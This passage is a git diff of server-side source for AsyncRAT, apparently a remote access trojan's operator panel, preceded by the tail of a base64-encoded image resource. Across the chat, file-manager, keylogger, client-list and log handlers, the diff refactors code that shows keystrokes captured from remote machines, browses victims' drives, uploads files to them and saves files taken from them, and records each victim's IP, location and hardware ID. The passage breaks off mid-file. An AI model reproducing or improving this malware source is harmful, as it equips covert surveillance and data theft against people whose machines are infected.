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 + gg== + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs index f32f3ac..e2e1304 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs @@ -1,6 +1,6 @@ using Server.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.Linq; @@ -11,29 +11,23 @@ using System.Windows.Forms; namespace Server.Handle_Packet { - public class HandleChat + public class HandleChat { public HandleChat(MsgPack unpack_msgpack, Clients client) { - if (Program.form1.InvokeRequired) + FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; + if (chat != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; - if (chat != null) - { - Console.Beep(); - chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); - chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; - chat.richTextBox1.ScrollToCaret(); - } - else - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); - } - })); + Console.Beep(); + chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); + chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; + chat.richTextBox1.ScrollToCaret(); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatExit"; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs index f987c8d..71286e9 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs @@ -1,6 +1,6 @@ using Server.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Drawing; using System.IO; @@ -9,12 +9,14 @@ using System.Threading; using System.Threading.Tasks; using Server.Helper; using System.Diagnostics; +using System.Collections.Generic; +using System.Linq; namespace Server.Handle_Packet { public class HandleFileManager { - public void FileManager(Clients client, MsgPack unpack_msgpack) + public async void FileManager(Clients client, MsgPack unpack_msgpack) { try { @@ -22,140 +24,93 @@ namespace Server.Handle_Packet { case "getDrivers": { - if (Program.form1.InvokeRequired) + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (FM != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => + FM.toolStripStatusLabel1.Text = ""; + FM.listView1.Items.Clear(); + string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + for (int i = 0; i < driver.Length; i++) { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (FM != null) + if (driver[i].Length > 0) { - FM.toolStripStatusLabel1.Text = ""; - FM.listView1.Items.Clear(); - string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - for (int i = 0; i < driver.Length; i++) - { - if (driver[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = driver[i]; - lv.ToolTipText = driver[i]; - if (driver[i + 1] == "Fixed") lv.ImageIndex = 1; - else if (driver[i + 1] == "Removable") lv.ImageIndex = 2; - else lv.ImageIndex = 1; - FM.listView1.Items.Add(lv); - } - i += 1; - } + ListViewItem lv = new ListViewItem(); + lv.Text = driver[i]; + lv.ToolTipText = driver[i]; + if (driver[i + 1] == "Fixed") lv.ImageIndex = 1; + else if (driver[i + 1] == "Removable") lv.ImageIndex = 2; + else lv.ImageIndex = 1; + FM.listView1.Items.Add(lv); } - })); + i += 1; + } } break; } case "getPath": { - if (Program.form1.InvokeRequired) + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (FM != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => + FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString; + if (FM.toolStripStatusLabel1.Text.EndsWith("\\")) { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (FM != null) - { - FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString; - if (FM.toolStripStatusLabel1.Text.EndsWith("\\")) - { - FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1); - } - if (FM.toolStripStatusLabel1.Text.Length == 2) - { - FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\"; - } - FM.listView1.Items.Clear(); - FM.listView1.Groups.Clear(); - FM.toolStripStatusLabel3.Text = ""; - string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - ListViewGroup groupFolder = new ListViewGroup("Folders"); - FM.listView1.Groups.Add(groupFolder); - int numFolders = 0; - for (int i = 0; i < _folder.Length; i++) - { - if (_folder[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = _folder[i]; - lv.ToolTipText = _folder[i + 1]; - lv.Group = groupFolder; - lv.ImageIndex = 0; - FM.listView1.Items.Add(lv); - numFolders += 1; - } - i += 1; + FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text.Substring(0, FM.toolStripStatusLabel1.Text.Length - 1); + } + if (FM.toolStripStatusLabel1.Text.Length == 2) + { + FM.toolStripStatusLabel1.Text = FM.toolStripStatusLabel1.Text + "\\"; + } - } + FM.listView1.BeginUpdate(); + // + FM.listView1.Items.Clear(); + FM.listView1.Groups.Clear(); + FM.toolStripStatusLabel3.Text = ""; - string[] _file = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); - ListViewGroup groupFile = new ListViewGroup("Files"); - FM.listView1.Groups.Add(groupFile); - int numFiles = 0; - for (int i = 0; i < _file.Length; i++) - { - if (_file[i].Length > 0) - { - ListViewItem lv = new ListViewItem(); - lv.Text = Path.GetFileName(_file[i]); - lv.ToolTipText = _file[i + 1]; - Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_file[i + 2]))); - FM.imageList1.Images.Add(_file[i + 1], im); - lv.ImageKey = _file[i + 1]; - lv.Group = groupFile; - lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_file[i + 3]))); - FM.listView1.Items.Add(lv); - numFiles += 1; - } - i += 3; - } - FM.toolStripStatusLabel2.Text = $" Folder[{numFolders.ToString()}] Files[{numFiles.ToString()}]"; - } - })); + ListViewGroup groupFolder = new ListViewGroup("Folders"); + ListViewGroup groupFile = new ListViewGroup("Files"); + + FM.listView1.Groups.Add(groupFolder); + FM.listView1.Groups.Add(groupFile); + + FM.listView1.Items.AddRange(await Task.Run(() => GetFolders(unpack_msgpack, groupFolder).ToArray())); + FM.listView1.Items.AddRange(await Task.Run(() => GetFiles(unpack_msgpack, groupFile, FM.imageList1).ToArray())); + // + FM.listView1.Enabled = true; + FM.listView1.EndUpdate(); + + FM.toolStripStatusLabel2.Text = $" Folder[{FM.listView1.Groups[0].Items.Count}] Files[{FM.listView1.Groups[1].Items.Count}]"; } break; } case "reqUploadFile": { - if (Program.form1.InvokeRequired) + FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString]; + if (FD != null) { - Program.form1.BeginInvoke((MethodInvoker)(async () => - { - FormDownloadFile FD = (FormDownloadFile)Application.OpenForms[unpack_msgpack.ForcePathObject("ID").AsString]; - if (FD != null) - { - FD.C = client; - FD.timer1.Start(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "uploadFile"; - await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.fullFileName); - msgpack.ForcePathObject("Name").AsString = FD.clientFullFileName; - ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes()); - } - })); + FD.Client = client; + FD.timer1.Start(); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "uploadFile"; + await msgpack.ForcePathObject("File").LoadFileAsBytes(FD.FullFileName); + msgpack.ForcePathObject("Name").AsString = FD.ClientFullFileName; + ThreadPool.QueueUserWorkItem(FD.Send, msgpack.Encode2Bytes()); } break; } case "error": { - if (Program.form1.InvokeRequired) + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + if (FM != null) { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; - if (FM != null) - { - FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString; - } - })); + FM.listView1.Enabled = true; + FM.toolStripStatusLabel3.ForeColor = Color.Red; + FM.toolStripStatusLabel3.Text = unpack_msgpack.ForcePathObject("Message").AsString; } break; } @@ -164,7 +119,7 @@ namespace Server.Handle_Packet } catch { } } - public void SocketDownload(Clients client, MsgPack unpack_msgpack) + public async void SocketDownload(Clients client, MsgPack unpack_msgpack) { try { @@ -172,57 +127,42 @@ namespace Server.Handle_Packet { case "pre": { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { - string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; - string file = unpack_msgpack.ForcePathObject("File").AsString; - string size = unpack_msgpack.ForcePathObject("Size").AsString; - FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; - if (SD != null) - { - SD.C = client; - SD.labelfile.Text = Path.GetFileName(file); - SD.dSize = Convert.ToInt64(size); - SD.timer1.Start(); - } - })); + string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; + string file = unpack_msgpack.ForcePathObject("File").AsString; + string size = unpack_msgpack.ForcePathObject("Size").AsString; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; + if (SD != null) + { + SD.Client = client; + SD.labelfile.Text = Path.GetFileName(file); + SD.FileSize = Convert.ToInt64(size); + SD.timer1.Start(); } break; } case "save": { - if (Program.form1.InvokeRequired) + try { - Program.form1.BeginInvoke((MethodInvoker)(async () => + string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; + if (SD != null) { - try + if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) + return; + string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); + if (File.Exists(filename)) { - string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; - FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; - if (SD != null) - { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) - return; - string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); - if (File.Exists(filename)) - { - File.Delete(filename); - await Task.Delay(500); - } - await unpack_msgpack.ForcePathObject("File").SaveBytesToFile(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)); - if (SD != null) - { - SD.Close(); - } - } + File.Delete(filename); + await Task.Delay(500); } - catch { } - })); + await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString))); + SD.Close(); + } } + catch { } break; } } @@ -230,5 +170,59 @@ namespace Server.Handle_Packet } catch { } } + + private async Task SaveFileAsync(MsgPack unpack_msgpack, string name) + { + await unpack_msgpack.SaveBytesToFile(name); + } + + private List GetFolders(MsgPack unpack_msgpack, ListViewGroup listViewGroup) + { + string[] _folder = unpack_msgpack.ForcePathObject("Folder").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + List lists = new List(); + int numFolders = 0; + for (int i = 0; i < _folder.Length; i++) + { + if (_folder[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = _folder[i]; + lv.ToolTipText = _folder[i + 1]; + lv.Group = listViewGroup; + lv.ImageIndex = 0; + lists.Add(lv); + numFolders += 1; + } + i += 1; + } + return lists; + } + + private List GetFiles(MsgPack unpack_msgpack, ListViewGroup listViewGroup, ImageList imageList1) + { + string[] _files = unpack_msgpack.ForcePathObject("File").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); + List lists = new List(); + for (int i = 0; i < _files.Length; i++) + { + if (_files[i].Length > 0) + { + ListViewItem lv = new ListViewItem(); + lv.Text = Path.GetFileName(_files[i]); + lv.ToolTipText = _files[i + 1]; + Image im = Image.FromStream(new MemoryStream(Convert.FromBase64String(_files[i + 2]))); + + Program.form1.Invoke((MethodInvoker)(() => + { + imageList1.Images.Add(_files[i + 1], im); + })); + lv.ImageKey = _files[i + 1]; + lv.Group = listViewGroup; + lv.SubItems.Add(Methods.BytesToString(Convert.ToInt64(_files[i + 3]))); + lists.Add(lv); + } + i += 3; + } + return lists; + } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs index d504fd2..c34cf36 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs @@ -1,6 +1,6 @@ using Server.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Diagnostics; using System.Drawing; @@ -15,15 +15,11 @@ namespace Server.Handle_Packet { try { - if (Program.form1.InvokeRequired) - { - Program.form1.BeginInvoke((MethodInvoker)(() => - { FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; if (KL != null) { - KL.SB.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); - KL.richTextBox1.Text = KL.SB.ToString(); + KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); + KL.richTextBox1.Text = KL.Sb.ToString(); KL.richTextBox1.SelectionStart = KL.richTextBox1.TextLength; KL.richTextBox1.ScrollToCaret(); } @@ -33,8 +29,6 @@ namespace Server.Handle_Packet msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("isON").AsString = "false"; client.Send(msgpack.Encode2Bytes()); - } - })); } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs index cd99f25..f749215 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleListView.cs @@ -1,6 +1,6 @@ using System; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using cGeoIp; using System.Drawing; using System.Windows.Forms; @@ -16,11 +16,11 @@ namespace Server.Handle_Packet { client.LV = new ListViewItem(); client.LV.Tag = client; - client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); + client.LV.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]); string[] ipinf; try { - ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + ipinf = new cGeoMain().GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); } catch { ipinf = new string[] { "?", "?" }; } client.LV.SubItems.Add(ipinf[1]); @@ -34,24 +34,17 @@ namespace Server.Handle_Packet client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine; client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; - - if (Program.form1.listView1.InvokeRequired) + lock (Settings.Listview1Lock) { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - lock (Settings.Listview1Lock) - { - Program.form1.listView1.Items.Add(client.LV); - Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); - } + Program.form1.listView1.Items.Add(client.LV); + Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); + } - if (Properties.Settings.Default.Notification == true) - { - Program.form1.notifyIcon1.BalloonTipText = $@"Connected -{client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}"; - Program.form1.notifyIcon1.ShowBalloonTip(100); - } - })); + if (Properties.Settings.Default.Notification == true) + { + Program.form1.notifyIcon1.BalloonTipText = $@"Connected +{client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} : {client.TcpClient.LocalEndPoint.ToString().Split(':')[1]}"; + Program.form1.notifyIcon1.ShowBalloonTip(100); } } catch { } @@ -60,24 +53,18 @@ namespace Server.Handle_Packet { Settings.Online.Add(client); } - new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); + new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); } public void Received(Clients client) { - if (Program.form1.listView1.InvokeRequired) + try { - Program.form1.listView1.BeginInvoke((MethodInvoker)(() => - { - try - { - lock (Settings.Listview1Lock) - if (client != null && client.LV != null) - client.LV.ForeColor = Color.Empty; - } - catch { } - })); + lock (Settings.Listview1Lock) + if (client != null && client.LV != null) + client.LV.ForeColor = Color.Empty; } + catch { } } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs b/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs index 0c29d3c..43dfb6b 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleLogs.cs @@ -14,26 +14,12 @@ namespace Server.Handle_Packet { try { - if (Program.form1.listView2.InvokeRequired) + ListViewItem LV = new ListViewItem(); + LV.Text = DateTime.Now.ToLongTimeString(); + LV.SubItems.Add(Msg); + LV.ForeColor = color; + lock (Settings.Listview2Lock) { - Program.form1.listView2.BeginInvoke((MethodInvoker)(() => - { - ListViewItem LV = new ListViewItem(); - LV.Text = DateTime.Now.ToLongTimeString(); - LV.SubItems.Add(Msg); - LV.ForeColor = color; - lock (Settings.Listview2Lock) - { - Program.form1.listView2.Items.Insert(0, LV); - } - })); - } - else - { - ListViewItem LV = new ListViewItem(); - LV.Text = DateTime.Now.ToLongTimeString(); - 